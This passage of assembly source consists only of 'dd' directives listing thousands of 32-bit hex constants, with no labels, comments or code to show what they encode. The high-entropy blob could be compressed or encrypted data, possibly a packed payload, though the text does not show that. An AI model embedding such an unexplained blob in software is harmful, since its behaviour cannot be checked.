0B841188h, 0F9E14E66h dd 9D03F500h, 0D35BA68Ch, 0F0571480h, 40923A30h, 0FDDABFh dd 16150D9Eh, 22CB819h, 184E9CE4h, 0C7FF6081h, 5EBC94C6h dd 767C888Ch, 0B415DF09h, 4834F09Bh, 5BECFCE7h, 0D2B4008Ch dd 36E98653h, 0F327020Bh, 13E0C8ABh, 0EF433E91h, 0E99E8D00h dd 202A2EC3h, 10B7FA01h, 70B628D9h, 27EBC841h, 818ACF0Ch dd 758386C8h, 4C41B6CDh, 9DC8D489h, 84365A88h, 79DC0880h dd 29DED6C0h, 22FC46A8h, 4E70001Dh, 7F149FDEh, 27090F15h dd 821A48BAh, 20C10C4h, 34502587h, 50F7370Bh, 0B87A88h dd 0D4B4B6BAh, 0F5E72C3Ch, 0CCC77600h, 842AF916h, 0E69F1725h dd 238C3E07h, 0E1CA001Dh, 0DB255E3Ch, 0A208B11Ch, 8238C1CBh dd 2BBEFD0h, 80C234E7h, 1AB26C90h, 94385200h, 0DCFD2778h dd 79892681h, 968808C0h, 60915824h, 20DE5580h, 448C44A8h dd 4D00791Fh, 7B1248DEh, 0B33208E9h, 40AB78B4h, 0BC2AF02Eh dd 2618EF5Eh, 0C89E0E27h, 27CBFA84h, 386828B7h, 841EA01h dd 37A25463h, 1A30430h, 0FD16C0EBh, 246F9670h, 948E790h dd 0B1471198h, 193CB209h, 0CE12A0FAh, 852AB16h, 5D23683Ah dd 0DF898700h, 0C4E8FC8h, 0B8A2C590h, 395604D9h, 0D4C1F22Ch dd 0EB594010h, 8607504Bh, 61A8F8E1h, 8AA78800h, 0A18E909Fh dd 0EDE5B606h, 80237C75h, 74301CA2h, 5DDD00B7h, 5C7E257Ah dd 0E02DA1F8h, 0E8E44472h, 0B06F0091h, 0C87964BDh, 0A171B593h dd 6E28E09h, 0DF8010B1h, 19CA013Bh, 0DDFCE795h, 0F268F04Ah dd 39C190C1h, 88E017BFh, 106FC62h, 91B56324h, 94CB19h dd 79771F39h, 26C2469h, 0D601004Ch, 54CBBBD2h, 6F86FD00h dd 8083F645h, 22C828A3h, 53260BB8h, 289D23E9h, 0A2805711h dd 2767D692h, 0D0002C92h, 1930BF1Bh, 9026073h, 8336D8B6h dd 5F88AC45h, 0F21F6067h, 18EDA8D6h, 17628833h, 7442F200h dd 0DF11103Bh, 4FE261h, 8511E6Fh, 30261AEEh, 80288958h dd 92520F74h, 0CF3A1DACh, 0DC682725h, 120030FAh, 0EDC83578h dd 98065B1Ah, 0DDA0C458h, 82600954h, 5030C524h, 0E907FE0h dd 29470F36h, 67B01383h, 84022803h, 16995AD3h, 0F0A71B22h dd 0FE038FE8h, 4935F07Eh, 94B3BCBEh, 0EE766901h, 2C72AE8Bh dd 1D6205F0h, 813AF52h, 963948A0h, 1C215E94h, 9A758011h dd 4F1D22D1h, 0C45AA401h, 16D89CD5h, 2824056Fh, 81CCB80Ch dd 6DDF3BBAh, 4067B860h, 0E32F5225h, 665C6987h, 2C0E6DCh dd 6EC3E803h, 84DC2ABDh, 0BC23F18Ah, 0DC5D0832h, 3C642F88h dd 0AA0F3F00h, 3DA62FD7h, 0C1DB00E4h, 51201B76h, 5214BE88h dd 5B08479h, 0EFF01E9Eh, 0DC8098FCh, 17DE44AEh, 8AB68F00h dd 53E876F9h, 0E287D98h, 0B33625F7h, 0C7874ABh, 977AE012h dd 0D9B23400h, 50DD3F01h, 3EF5BCFDh, 4B2522F1h, 0C63C5817h dd 0FD263309h, 0E92168E9h, 23B871D9h, 3160A2E8h, 4F3ED8F2h dd 0B861F502h, 0E0F8A2BFh, 0C162465Eh, 76E0C7C8h, 466B25h dd 27185B70h, 0FCA51621h, 8190BCEFh, 7BF68C63h, 652DA028h dd 2C0780E8h, 6106C504h, 0A4E4AD9Ah, 0CB58EE86h, 0E491AC91h dd 1BCA6055h, 802B6939h, 7A018E6Eh, 2D19604Eh, 2066A92Ch dd 0AB0453F4h, 0C9742073h, 1D07F4F9h, 907C95DBh, 0A4A0B1CCh dd 81B1A24h, 75404026h, 0E2152046h, 55B7C82h, 900817E7h dd 60D8D9C6h, 0D4F40E4h, 94BC8042h, 0C9592207h, 114E7918h dd 8865065Ah, 613D808Eh, 51A9244Eh, 0BAAA705h, 48AD73B8h dd 4D2AC13h, 182042FCh, 489A6420h, 0D3072433h, 1B9CDE3Ah dd 1B11081Dh, 8264D380h, 0E4168393h, 14E4879Bh, 29741438h dd 0A81FA7CAh, 0B95C809Dh, 0F96F48CFh, 0E740A716h, 23F88E0h dd 0B49A23BFh, 93551F31h, 0A8FCEDC8h, 14FF5900h, 0F0DC5F6Fh dd 0BA82305h, 0DCD26AC8h, 46F0A093h, 11BCD74h, 0FEB95125h dd 31B3AC8Dh, 23C022FAh, 0F22A0160h, 1885A8DDh, 22698838h dd 167CF27Fh, 0F0CF0E0h dd 0B030E2E0h, 0BD7198B2h, 0EC1D8089h, 580C611h, 73B7E3BFh dd 0B34C2100h, 2FFB51D1h, 0C8D202FCh, 6FA2BBB4h, 0AD7D10DAh dd 9B71140h, 2BD0A65Eh, 88B21701h, 0E9C8ECE2h, 1CA70492h dd 0A5609844h, 2F0176C0h, 0BFA4BB06h, 57D28631h, 0AC543420h dd 5C606E9Bh, 0DE15ED90h, 404B0E0h, 2B4CC4D4h, 3864831Fh dd 0FF9A01FCh, 0FAC810D8h, 9894B41Dh, 0ABEFD1E2h, 202C49h dd 44DCA51Fh, 22B6C39h, 0E466C07Bh, 0A00FBABh, 5F8B950h dd 0F7EF061h, 9FFCCF09h, 99813DA3h, 0CC01B4DAh, 5F4384Ch dd 27042808h, 0E4622C4Ah, 41F21CC2h, 0E44E55E8h, 0F4544F00h dd 86E9A4C8h, 0D5D26305h, 0AC4085CAh, 0D65852A8h, 128FF472h dd 424C13AAh, 43389D44h, 84FC448h, 4E3BF317h, 20A24884h dd 67301FF2h, 9DB83843h, 8936B109h, 0E997A405h, 0D92AC0A0h dd 130EB11h, 6259132Fh, 2529CAA8h, 0AEE0302Ch, 91254900h dd 20BF2E7Fh, 9951658Dh, 0B3B8C8D1h, 74E26E00h, 4EEC288h dd 96820040h, 0DF5331AFh, 0FD7EC764h, 87022704h, 0C817126h dd 0CC020834h, 42D7B884h, 0F4AB9A5Fh, 0B4028250h, 260032D0h dd 93112DC8h, 5E51D868h, 0BE01D17Ah, 0AAA0B713h, 9C646AB3h dd 3ED81025h, 9C612487h, 70CC1E12h, 5D4E3906h, 0CA6CED96h dd 6E3A0050h, 75D954Eh, 0F7F6168Eh, 9A7C88AFh, 0BC94E4A6h dd 1C4656h, 7CF83587h, 0E49B3ED2h, 0A8400189h, 0CFF799EFh dd 3B5073E9h, 902EDE65h, 94009823h, 409FBC2Bh, 21A84C41h dd 3DE0815Fh, 1DA46268h, 76DD3F14h, 9AC83BC3h, 0F391A75Fh dd 8C626AD5h, 0B6082470h, 8B110Ch, 451AA0BFh, 0EE5B562h dd 464DF711h, 16034380h, 0D09152D9h, 8A3B0201h, 207F7922h dd 8D1812B4h, 6DED200Fh, 2A92C0AFh, 61EB380Ah, 0BC82A028h dd 0E08BD252h, 13AC7030h, 7460202Ch, 0E4E8C54Bh, 3014601Ah dd 0BF9F000Bh, 0D8A7DFB5h, 78D71FF2h, 140734E2h, 630EECD7h dd 64908DE2h, 5C003E6Ah, 4D247B2Fh, 0C6E67Fh, 26F14C57h dd 9B6B62B0h, 0A6B3380Bh, 6FB84764h, 0BF9380D1h, 748DC4A9h dd 8AC930D1h, 0F01E8C91h, 8155383Bh, 1AA8D966h, 0A9E4566Ah dd 0AAD502D6h, 0EF9C165Eh, 520710FCh, 0D0F2D4B7h, 58445BFDh dd 8B0CFF5Fh, 50AC9796h, 0D19899E0h, 6E1837h, 1A5B7F1Fh dd 93FE90FAh, 0BE02C094h, 713428A2h, 47C0B188h, 0FE6502C0h dd 0D700BEC4h, 0EA442541h, 784C5243h, 90832224h, 0E8D60364h dd 0FA290742h, 1C18F9B0h, 0EC73E50Fh, 48015295h, 6D54FFDEh dd 52BA7D0h, 0C69C0C76h, 0AD44766h, 61C98F0Bh, 0AED82C22h dd 0E424D8FEh, 0EF290C18h, 10A90441h, 0AC619FB6h, 0F5D38000h dd 7F2A1678h, 41BF0015h, 0EFDF590Ch, 0E00B70F8h, 974D1906h dd 801691B4h, 6A3B80FBh, 4ECB074Bh, 0E1936BC1h, 2A0EB8B4h dd 2E73F444h, 0A8A80412h, 0F8960021h, 4F53A48Dh, 4A344831h dd 0ECC05CC0h, 2355218Bh, 1CEC4BDh, 2DA1C064h, 30F4FE91h dd 0AA650CD1h, 3CF488F1h, 0C3E31F2Ch, 44B6DDC1h, 0C08DB0CFh dd 853821B1h, 38CB3538h, 0AFFE8B9Eh, 5D6280A5h, 0BFBCB27Ch dd 0CB84C880h, 1D24B85Bh, 0FC08082Ah, 0F089C017h, 403E9DDEh dd 0EB252F7Bh, 6C48B50Ch, 0C058C04Eh, 0B55B8BF0h, 12D2682Ch dd 1EFAC060h, 0CD114006h, 9BB5DED5h, 0D7B240CFh, 0F79A6C80h dd 40A40BCAh, 48F92783h, 46496F18h, 0B9F30145h, 2C133633h dd 0E8F83966h, 0AEC4A0F7h, 5C215A0Bh, 0C92AD080h, 0B0CC6606h dd 19272868h, 76042E10h, 60646468h, 2659F226h, 703825A8h dd 0F2051E65h, 9DA70AB2h, 348C8005h, 61B2BCF3h, 1B25930h dd 0BF460E2h, 41C173FEh, 0C068768h, 845E8461h, 0FE4FF440h dd 1DC52085h, 7178A3FFh, 0A5790E30h, 0E4E84520h, 0F8D27366h dd 4961724h, 0E0C83780h, 5800AA56h, 889E72ABh, 102162A2h dd 40E03D34h, 0F227BBAAh, 7448000Dh, 360B94Fh, 70BA67Ah dd 0E6E03220h, 3A16A057h, 98CE8C63h, 30111C84h, 0FA7707h dd 7F1E9F8Fh, 90FC86C4h, 31C94B09h, 530802DFh, 5008001Ah dd 8D25410Dh, 0AC50F9BFh, 0F8C08B4h, 0DA69003h, 0CCF094ECh dd 683639B6h, 84F0480h, 0E2F3BDF9h, 0BC707CBBh, 88D20183h dd 0C4B66FD8h, 878882Dh, 8882C18h, 7565B11Fh, 142CE843h dd 0A401BD50h, 2B5690A7h, 1338B440h, 3B644BC4h, 0AC23D0h dd 5E6B3270h, 0A5013A42h, 0D84DE0FFh, 952F1B92h, 0A21B1268h dd 104170A8h, 234C2F2Bh, 680F0691h, 72008120h, 7127DF8Eh dd 1E7EBD06h, 1C79FEFh, 686B2D49h, 929BD5Ch, 5C8FCA90h dd 0D9B304F8h, 0E91C811Eh, 0B8583A06h, 85250418h, 149EE814h dd 48B01180h, 8C61E8DCh, 0CD161A72h, 0A80F33F7h, 0AC91974Bh dd 920C17FBh, 483C0441h, 0F6467280h, 7403177Ch, 0CC8AC8EBh dd 0B1FEC01Eh, 25F01CCEh, 12882926h, 34FD87h, 0AF0BD3BBh dd 94871B8h, 5E6EA07Bh, 0B01FA085h, 861D328Ch, 30306CA3h dd 595BA60Ch, 9C255CBFh, 0E847C46Ah, 0AE606544h, 592C5149h dd 7401494Dh, 9F9E04A6h, 88C4022Ah, 5C76382Bh, 7D334700h dd 9E62E09Dh, 0EE098234h, 0C0A42DB0h, 69E8A0B9h, 3DE64E00h dd 26AFE3D5h, 48D0B2AAh, 6280C0CAh, 0F730DAEFh, 331316E4h dd 902473AAh, 27440EEBh, 118EF920h, 6125B24h, 8CC2AFD4h dd 0E48872B1h, 57BD0E42h, 44BF527Fh, 0BB5EA613h, 3FC8C408h dd 500A9707h, 0BDA70FEh, 8827B276h, 22205228h, 8752BFABh dd 4F3000E4h, 0B913FBBCh, 0DCF201E3h, 95B2511Ch, 73B2EB37h dd 38D95051h, 0E3037818h, 88194446h, 0B971000Ch, 344F52CEh dd 9E1E1FC6h, 89D6516h, 68BB047h, 0D8B8C482h, 0E65000FCh dd 535CEFC8h, 7F4A391Bh, 34232C2Fh, 0D8A82102h, 81304A12h dd 3398E6FCh, 0F08B8808h, 24AE7481h, 81381B63h, 0AF9E8BD1h dd 118C2236h, 0BE0121BBh, 1740A587h, 0F1387490h, 6459C600h dd 0AC15D108h, 0CC314DF3h, 4054A42Ch, 410F9690h, 0F476F0F5h dd 0CBE039B8h, 59C05F7Eh, 1E6098C5h, 940312AAh, 18ECB962h dd 0A66895BEh, 998F4F9Bh, 8A583074h, 132434E3h, 47695027h dd 603264D8h, 0E4AF0A56h, 0C0FA4DBCh, 0AA32CE00h, 1AE09CC0h dd 85A01D4Ch, 44A25F26h, 749BDB22h, 0BBB978h, 9EBD61F4h dd 6AB33279h, 0CF028F01h, 7023E5DEh, 1197C041h, 0C52E4C33h dd 0AC467E68h, 543E4C00h, 1DDB3DBh, 9E3C2902h, 0E6163B40h dd 0F42F95E4h, 9BA84457h, 1E84272Dh, 0E5422143h, 0CA9C2049h dd 831C10C8h, 246EA7h, 0BC4A25AEh, 15C15C28h, 0DC050E14h dd 0D8610ACh, 8F50E892h, 7084CF30h, 7723A84Ch, 0CA271011h dd 7FAC0420h, 200C45Dh, 5976789Bh, 0F0843CFh, 1B122656h dd 5B482FACh, 2834448Ch, 346DB62Bh, 0D1117B91h, 4FB0085h dd 74999D97h, 204090E2h, 0ED7A63F0h, 2981A930h, 0C4D9B5E3h dd 326056E0h, 48012B8Fh, 0F0B8EE9Eh, 84B4D2D8h, 999C5031h dd 49134878h, 88E48B4Ch, 0CDDAC01Ch, 5C0B346Ch, 2AD5AB5h dd 4D228F78h, 0BE0FC2ECh, 84121410h, 7A3F7821h, 0ECAB7B62h dd 0EC842C92h, 88C07146h, 108D9FAh, 7FB415E1h, 125032C3h dd 30A9B299h, 7DB1DC4Ch, 2E082D0Dh, 500D18DBh, 322F2010h dd 0EC857F7Ch, 0E250A363h, 17B43016h, 0B001F27Ch, 37F6E1DFh dd 0D878687Ch, 603E7D00h, 2BEA0E50h, 307A2E01h, 0FE220470h dd 6A14F4h, 0D9FF9A6Eh, 6FF68DEDh, 89BF4Eh, 46950D3h, 5DE2A2F4h dd 0F8CF0087h dd 8B526B64h, 0C360C848h, 0F7B84212h, 0B0FE4CCh, 0B2B125D3h dd 470734FDh, 0E016F169h, 52DB0594h, 59858B17h, 0A8145901h dd 0E85042BBh, 5FD28EDh, 62DAE5A2h, 8C58CC08h, 0AB0BF618h dd 0C91E7BD8h, 0E4D95DF0h, 16918918h, 0B65016DEh, 3A891AAh dd 32440736h, 1CF0DCC8h, 5201C03Eh, 9AFCB0CEh, 791757F6h dd 413501Ch, 3323942Fh, 71B05B09h, 19EB000Ch, 80CD831h dd 52252CB8h, 403CF84Eh, 0B4F85726h, 0E0DC24F2h, 100309FFh dd 0B68CEE63h, 18F35E5Ch, 0D9840557h, 81E515ADh, 96148836h dd 30B64D69h, 0E6BCB4h, 36C15BDAh, 0F68BF7DFh, 1F1C05E6h dd 0F98D1ADDh, 0EA9C5138h, 69D8CA0h, 874EDF53h, 12C024F5h dd 62244CC0h, 0F9EFE700h, 88CB1939h, 9D93CF0Fh, 6CE03290h dd 6FFF0559h, 0A482CAACh, 6100B6CCh, 0C70D4860h, 5C44DAECh dd 210C6C24h, 0CA812692h, 6D1C48B9h, 0BDE00F40h, 87C6E6h dd 9D32D8E8h, 0E1160305h, 6D24FF02h, 0C0040BE9h, 5A069B6Eh dd 1454205Bh, 33479520h, 4068A450h, 2A4AEF62h, 5C23A42Eh dd 87EDA200h, 13DBFE39h, 0E0B6BBA6h, 2816F070h, 68E40526h dd 0CEAA028Fh, 50276BA9h, 0E749860h, 4DF42481h, 0D1D891ADh dd 72431862h, 96E31369h, 6D0C4804h, 0FA279F00h, 0FA5951B4h dd 30AE52CEh, 0EA3158E2h, 3CDFBFCh, 0A5E18E6h, 83FA02A4h dd 0FE0C8875h, 0E470091Ah, 0ED52006Ch, 5E2BDADBh, 0A37CFEA1h dd 9F0590Eh, 15F340E2h, 1181D66h, 0ECBDE384h, 0E4E76C27h dd 0F530FE17h, 0B6D4B006h, 0C142A95h, 0E2162538h, 0F051B0C2h dd 0D5185D71h, 637C18B0h, 4ECC0C80h, 0F85CB08Bh, 8CC0AC50h dd 82D3AE27h, 7D0FE7C0h, 0BDB9880h, 3809AF69h, 0D121258Ch dd 670D0324h, 58883ADh, 0AC222B76h, 49AB3A24h, 66009E3Ah dd 0CC7F30B7h, 50E06D4Ah, 0D182E105h, 3BC3A212h, 2FC6A903h dd 64428A70h, 0C8B0E0DAh, 0CF51723Ch, 0ECBBFC8Fh, 9A899CA8h dd 681EC092h, 654776D3h, 41C0C82Ah, 9377F33h, 75A32370h dd 28E8B48Eh, 2B065700h, 0F80232h, 0D640DB83h, 61101AA7h dd 4203531Dh, 0DF517481h, 0D072B0EFh, 1E0A1900h, 2DD9C5D5h dd 8EC22907h, 0F2A14185h, 3770AF27h, 63210106h, 3B13DBB1h dd 0B4D8580Bh, 0EA34A327h, 53DC04ACh, 0F1EBC064h, 2448BD8Bh dd 5FC7B0B0h, 299F02C0h, 61199DE8h, 0E83893D5h, 0EEBDA87h dd 7F31DF7h, 0ADD73CE3h, 0C348CF5h, 0ACCBFE10h, 0E5F1FD02h dd 0DCDC7F37h, 4C9C71DCh, 30926888h, 0BBA3114Ch, 0D8427300h dd 0F763B3Ah, 0B4821329h, 9D04427Ah, 88D8E6E0h, 2C675228h dd 1B3C8573h, 0D4F8001Ch, 0FD56BA1Fh, 8459005Ah, 96384762h dd 0B35E89B1h, 4D2620D0h, 90A7137Eh, 0D194C23Ah, 7687C0D6h dd 81490A30h, 50CA75E4h, 0AD22FD0h, 6F166EDAh, 0FD1E07ACh dd 265A31C3h, 28A46052h, 84F0024Ch, 0D8E48BCEh, 0ABB8054Fh dd 0E9E959DDh, 0BCD4AD30h, 0AE01354h, 10F0B47Dh, 2D74C548h dd 0A260C888h, 56C41642h, 80E297h, 1CAE485Eh, 0FA63EB4h dd 77E0F87Ah, 0D0623343h, 270621C8h, 0E05DAA25h, 5CA413D8h dd 0DF84846Dh, 69883720h, 605918F1h, 0FC027318h, 9A55BF5Fh dd 4BF0C166h, 93C286Fh, 2D2C0288h, 2CA10A04h, 28074C89h dd 9B4108Ch, 13E3C050h, 147758E5h, 0F7119030h, 91EE20BCh dd 185D71D0h, 6404BD38h, 0CC28014Fh, 718231BBh, 8FD7930h dd 73688C0h, 9D41180h, 0E3D37E64h, 0B9512C10h, 0C9AAA000h dd 3D20EB82h, 531025E2h, 70428C6h, 75065C4Eh, 3F209262h dd 4A4E6Fh, 0AF2BAA74h, 4C3E6B0Fh, 0E8C01F5Ch, 75008CADh dd 74A72DABh, 54C10F3h, 28D36AFFh, 369402B6h, 0E0D2A98Dh dd 859EBC91h, 0F5D8F740h, 7E4E2Ah, 68558C3Ch, 6C465812h dd 0E05D442Eh, 0C0039F0Bh, 16914F14h, 0F25239FEh, 27CC40F4h dd 3C82C640h, 0E33599D0h, 802CE8E9h, 0FF747AE0h, 56B752Fh dd 0CA639D07h, 2877C3B6h, 0E14B9C4h, 0F2E2D8A7h, 84814C12h dd 8215264Bh, 0E52959B0h, 6034E42Ch, 6188A7F0h, 13386122h dd 0B4167BACh, 6F3488h, 0B3FD1C5Fh, 0D9C380DAh, 0B60A7216h dd 0AC0A14E2h, 480E9D5h, 0F0E4B422h, 309421D0h, 251E465Eh dd 0F45407DDh, 0A72700D8h, 0D6D856D7h, 66258227h, 21F15E64h dd 10A50CCh, 0C02C49ACh, 0DCC07388h, 2BA81FDEh, 8040C4ECh dd 2DDE546Eh, 2F03B956h, 0B63106CFh, 0D4A0B438h, 7EFE0E4Fh dd 0E20A847Ah, 0BE38309Ch, 14B2D796h, 90D729ECh, 66C894CEh dd 0B80BB1C3h, 33C37DCh, 90B6CFDDh, 8017314Ah, 0A88BE957h dd 30111C84h, 1C3CAEABh, 802679C7h, 0A4A66920h, 74983201h dd 41822AF4h, 5560D88Ch, 1E7826B4h, 0C28C1350h, 0E845E7CCh dd 18111CE2h, 7B00AE22h, 0FB97185Dh, 5A4A93EFh, 0E4F8E588h dd 0AD1C5EECh, 0C480831Fh, 0DDA048BBh, 0B51313F7h, 0E4C050CAh dd 3A8C16F8h, 268063EEh, 0D74B178Ch, 2C90FE99h, 0B6287420h dd 61C51258h, 5B0F91D4h, 0CBFCC078h, 0F96E14h, 312CBBD4h dd 0A595EFAEh, 68370F30h, 9403CC02h, 0B4B295DCh, 0BC6AB427h dd 0DC487Ch, 0DA2BC66Ch, 0CAD9C4FCh, 0A7863316h, 107F30ADh dd 1DBF97A6h, 1C2618FAh, 4708FE0Bh, 673264F8h, 0B29BA030h dd 6EA101C2h, 49BD8EB0h, 0C8D44B4Ch, 58D4C11Bh, 0BC2EC039h dd 409A6C00h, 905F7BEh, 0B60B79AAh, 0B211009Ch, 87CC2651h dd 8B02309Ah, 0AF90DFECh, 78905538h, 0ACB6D89Dh, 93BBA680h dd 97F5C7Ch, 1F2740A7h, 0FD6574A2h, 0C6E49865h, 418DD660h dd 9F30710Ch, 606360C2h, 38A7A0CEh, 0F0BA2953h, 0E0B62374h dd 10932176h, 3640BB80h, 0BC91AF52h, 888416E0h, 5D144EECh dd 89F0D79Bh, 62686D2Bh, 0ACFEB165h, 0A047C683h, 8F4D82Ch dd 0A8314C6Fh, 10BB810h, 16D7AA26h, 70622982h, 50BB4F10h dd 28120328h, 6CA16504h, 586E2Fh, 0A7E76CFDh, 7F8C2F97h dd 0A6AD5AFEh, 0E09D04E8h, 2C098156h, 3F0898F6h, 0A5CA1380h dd 0E1EEC44Ch, 706AAE26h, 21173310h, 0B2C0F336h, 0FB873060h dd 6BB71B00h, 0DD65809Eh, 9BAA0914h, 1C40711Ah, 68C43501h dd 90BD383Bh, 2AFC16E8h, 7F682D00h, 0A5D98C62h, 0FDBD250Ch dd 38113897h, 0CCD63C80h, 0EF7FC61Ah, 21079E13h, 74D3744Bh dd 8DC444A4h, 0B8FC6D90h, 53D21D59h, 905D400Fh, 0F9CCBAEAh dd 0AA32A601h, 1DC39C16h, 88767889h, 46C720EDh, 0A6BBAA31h dd 9B6C012Eh, 447640h, 4090142Ah, 365F876Ah, 0F48954C0h dd 0CCA45477h, 332E20A3h, 0D0F69009h, 767C5C69h, 4B399246h dd 0DD562083h, 268A2C8Fh, 278090DFh, 121E5EE0h, 0A3001674h dd 3199E214h, 0B0FE20BBh, 6E879000h, 5AB9BCD3h, 3E9306FCh dd 0D82F019Eh, 8390F20h, 35EF968Ch, 7436805h, 3CE054E4h dd 0D0481901h, 0F000D04Bh, 151FE183h, 7A475E37h, 189924A3h dd 9AD0E708h, 0F403F68h, 50C7F245h, 4D6191E4h, 143966h dd 69C0E0ADh, 0EC1B4F31h, 0E4881F7Ah, 40700506h, 0A0DC1FC8h dd 8481C174h, 4AC1F60h, 0CC0C0EE7h, 2B80A007h, 0FD6089Eh dd 0ABF79D15h, 0AFCA0CFFh, 0D42F28D9h, 8E3087C7h, 88218280h dd 0F940B973h, 1E31820h, 12FB012Ah, 2E389F9Ch, 0BD38C07h dd 0BA42458h, 2848AFB7h, 57826C48h, 6CF4B08Fh, 78CF1062h dd 20F7F482h, 5800B807h, 1F904E54h, 4721C5AEh, 3B3DB411h dd 0AC3F2884h, 4395F820h, 1A021D10h, 80233542h, 3CA0559Bh dd 0DAFD2879h, 0C7E2DC00h dd 3070D49Ch, 4D7F4ACCh, 0DCB0F5BCh, 0DA4A9BADh, 7F80B1h dd 40B756C8h, 1E5E4CF6h, 56CB989Bh, 0B0480885h, 90279BC4h dd 0D940428Eh, 3AD58E34h, 690EB382h, 46767874h, 3B9900ADh dd 16C994FFh, 5EA87EF8h, 1F44E2EEh, 38A1D5h, 0BE43B524h dd 0F23776h, 0BDF91F95h, 111E9DDEh, 3A6711Dh, 832EEDC2h dd 0BE406060h, 9C0C8074h, 81C16A07h, 92C04122h, 0A1DA5h dd 0E912BFC6h, 0BECC68C8h, 389A7807h, 80FBEDB1h, 39520B68h dd 0BD830132h, 54A444DAh, 78887B4Ch, 7CD01E82h, 1418676Fh dd 11167EC5h, 248016D8h, 5ACBB3ACh, 0F4F49154h, 0D03800A1h dd 3013F09Ah, 0E8111E40h, 8225C287h, 2E07925h, 5E0EA3ACh dd 178DB4DCh, 0ABF02092h, 180C60FEh, 8CF44955h, 0CB6104Bh dd 19E685E0h, 0B143DB00h, 2FCC0824h, 3CFCBA12h, 0F3130144h dd 1A84881Ch, 94E9088h, 0CB27608h, 0AE04E820h, 119FABF3h dd 0F909078Ch, 0AC74CA8Ah, 0A65E48C0h, 29A30178h, 4F85BD58h dd 169207C4h, 3023101Eh, 62F79A80h, 99D720D9h, 5345987Eh dd 95969843h, 4005E5C7h, 5C4D6599h, 544E814Ah, 0E1C03288h dd 2EFA2B96h, 133FFAEh, 954EA40Bh, 0EC3A3A83h, 880B6123h dd 0EFC9809Ch, 24523953h, 40DC38B6h, 0E569BACh, 2E8C22BFh dd 17140A8Ah, 9778805Fh, 0C54A5D39h, 1D00B8F2h, 310375B3h dd 6003D4B0h, 180964DDh, 0C534C026h, 7E4B1278h, 0B8CCA9FDh dd 30B12253h, 0A2923700h, 0FA0879D9h, 0B3360B1Bh, 14515E06h dd 2F18ABD9h, 0CB93A117h, 0ECD3C100h, 0E68BFDF6h, 902892B3h dd 320B2080h, 0A52FC590h, 60707A57h, 0FD27C90Dh, 0A380C77h dd 0EA7913E2h, 9B9D8007h, 384E7C40h, 0B830487Bh, 0CC840980h dd 0A120DC6h, 90E193FFh, 99BC482Ch, 14001043h, 0DBBED79Ch dd 3A042F0Ch, 3CB87EAh, 9F32D8D7h, 240C86Fh, 664420D4h dd 0C1DD1609h, 6A084DFDh, 0E0130062h, 75363E63h, 2D204F48h dd 0E0140E37h, 2CCB95B8h, 8D201773h, 0D278D209h, 0E712C87Ch dd 93B84CA8h, 8D091043h, 2800D3CCh, 0AA670F71h, 70E50326h dd 258B2186h, 0B9287069h, 8E253ED8h, 78B45468h, 169C0F58h dd 289125D3h, 41012384h, 0B6204032h, 391D8DF9h, 891D2180h dd 0F8C4B720h, 0F9076D78h, 13C71AE8h, 75BF1F20h, 0CF5F0718h dd 0B625CD4Eh, 9AEA70B9h, 39EBAD31h, 202033AEh, 0F85E513Dh dd 92A2DC33h, 3D2730h, 0CFAE8C0h, 2806AEE6h, 0A120A8E3h dd 0E731F9C0h, 2F1358h, 8B100DF2h, 639EF3ACh, 0D5B1EB07h dd 4E6425EDh, 52E000BBh, 4F150DA8h, 0D25EE0F2h, 0C05CE881h dd 802454FEh, 4D9FBB12h, 0E50064A5h, 6CA7AEBCh, 2D05C10Ah dd 8CA9D7CCh, 175D9401h, 16C8286Eh, 5CA429ACh, 3BAE43Ah dd 1375C736h, 0D9587FFBh, 15201040h, 1C663E17h, 14745094h dd 8090B19Ah, 0CA5386FDh, 0E00F52B8h, 2720EC17h, 6E1148E8h dd 9CD2AC01h, 3D2C1EE0h, 0C84B1214h, 44A924C4h, 0E39AF100h dd 6DD384E8h, 0CB45270Bh, 54AC8A08h, 38914676h, 62DD00E0h dd 0DE533AFCh, 9FC89E80h, 0D0EA04h, 68FE3B02h, 3EE2409Ah dd 24D1A0CAh, 54DD9500h, 0A0AF2Bh, 0BB49DB0Ah, 83D6E104h dd 755D0200h, 0FE512F9Bh, 5E340B7Eh, 0A0728859h, 0AF9E8C13h dd 8208DC88h, 0C8F30DCh, 6822F2ACh, 267C2394h, 0CDB54FC8h dd 0DC00487Fh, 0F864EA9Dh, 272DE8Ah, 60C4BCE9h, 287E9754h dd 0D8063BD6h, 5FE06083h, 814CB89Ah, 0A9D912A0h, 89376888h dd 2079E9B3h, 0F45AA46Bh, 0EAD4E402h, 0E49845E2h, 15BE6097h dd 76C300BDh, 4FD2346Ah, 0AC256B08h, 9640EF1h, 27B86406h dd 0B89D3252h, 42806691h, 0F57C6806h, 8852B401h, 7D1AE027h dd 0A00B8C34h, 286EE2A9h, 4FCC0CDEh, 88C88F66h, 0FF22C0C6h dd 9B122FCEh, 10884984h, 1C690CFDh, 2811DFC8h, 6023D42Ch dd 73AE8C82h, 0A402004Eh, 0B49682A0h, 4624676h, 7E36DB59h dd 88F46880h, 0CBA94E11h, 0C01BC888h, 8F40F9B9h, 0F483D703h dd 0F339219h, 0A55DAC21h, 0DC5143C9h, 0AF46A308h, 521C404h dd 1CC8884Dh, 0A74E00BCh, 396C61FFh, 9E00559Dh, 0D69C783Dh dd 1A160Eh, 91017119h, 0E0B6212Dh, 0D48CE628h, 0B5E36905h dd 70D85B9Bh, 306CB0C8h, 0D6087DC3h, 0D81F49F3h, 8C0BC0C9h dd 0A7E0F4A9h, 0EEFBB890h, 0E86C8900h, 6353A783h, 0B71BE2B0h dd 738FD0E0h, 0A8C9342Eh, 0B8526A02h, 564E638h, 9CF829E6h dd 2338D997h, 308EA248h, 0EB024DFCh, 9CD0361Dh, 809CC0D4h dd 0C8B09769h, 3200BB64h, 0B31BCF5Bh, 25302DA9h, 1440B014h dd 0AA1A20EDh, 2A1C413h, 104C25C8h, 315CBCA4h, 26A78584h dd 8A5B6CCAh, 0C798C890h, 42570069h, 9D70C1E9h, 5C133828h dd 7B40A713h, 0ECC8C4C4h, 0B7CE74ADh, 8E91489Dh, 9802BE81h dd 38206ACEh, 13852C8h, 604B039Dh, 0EEE9E58Ch, 66708482h dd 862F5B10h, 42FC145h, 0F01BD244h, 0F91D46BCh, 58BACC81h dd 72658B7Ch, 0CBC600F8h, 3F41B029h, 47005E71h, 0E6DB5F23h dd 123017DEh, 0A934FCA4h, 1EAC10E8h, 189C080Bh, 0B8238CFEh dd 1E82FD00h, 5932B336h, 0DBC07863h, 77A3D014h, 377FE204h dd 0A4E638E3h, 0A0DCA64Ah, 29C915h, 0DF1E4480h, 6FD40651h dd 